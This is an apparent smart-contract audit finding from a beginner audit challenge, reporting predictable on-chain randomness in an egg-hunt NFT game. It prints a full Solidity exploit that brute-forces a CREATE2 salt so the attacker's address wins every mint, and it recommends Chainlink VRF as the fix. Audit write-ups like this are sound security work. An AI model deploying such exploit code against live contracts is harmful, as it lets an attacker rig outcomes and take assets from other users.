Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Predictable Randomness Exploitation in EggHunt Game

Summary

A cirtical vulnerablity in EggHuntGame.sol allows attackers to predict and manipulate the egg creation prcess by calculating random in advance.

Vulnerability Details

uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))
) % 100;

Attacker can calculate this random in advance and mintEgg with 100% success rate.
Here is attack detail.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import "./EggHuntGame.sol";
import "forge-std/console.sol";
contract EggHuntExploit {
EggHuntGame public eggHuntGame;
address public owner;
bytes32 public salt;
constructor(address _eggHuntGameAddress) {
eggHuntGame = EggHuntGame(_eggHuntGameAddress);
owner = msg.sender;
}
function exploit() external {
uint256 currentEggCounter = eggHuntGame.eggCounter();
uint256 threshold = eggHuntGame.eggFindThreshold();
bytes32 successSalt;
address predictedAddress;
bool found = false;
for (uint256 i = 0; i < 1000; i++) {
successSalt = keccak256(abi.encodePacked(i));
predictedAddress = calculateAttackerAddress(successSalt);
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, predictedAddress, currentEggCounter))
) % 100;
console.log("i", i);
console.log("predictedAddress", predictedAddress);
if (random < threshold) {
found = true;
salt = successSalt;
break;
}
}
require(found, "not found");
bytes memory bytecode = type(Attacker).creationCode;
bytes memory initCode = abi.encodePacked(bytecode, abi.encode(address(eggHuntGame)));
address attackerAddress;
assembly {
attackerAddress := create2(0, add(initCode, 0x20), mload(initCode), successSalt)
}
Attacker(attackerAddress).attack();
}
function calculateAttackerAddress(bytes32 _salt) public view returns (address) {
bytes memory bytecode = type(Attacker).creationCode;
bytes memory initCode = abi.encodePacked(bytecode, abi.encode(address(eggHuntGame)));
return address(uint160(uint256(keccak256(abi.encodePacked(
bytes1(0xff),
address(this),
_salt,
keccak256(initCode)
)))));
}
}
contract Attacker {
EggHuntGame public eggHuntGame;
constructor(address _eggHuntGameAddress) {
eggHuntGame = EggHuntGame(_eggHuntGameAddress);
}
function attack() external {
eggHuntGame.searchForEgg();
}
}

Impact

Attacker can mint nft with 100% success rate

Tools Used

foundry test

Recommendations

Request random values from chainlink vrf
reveal the randomness in the next block

Updates

Lead Judging Commences

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.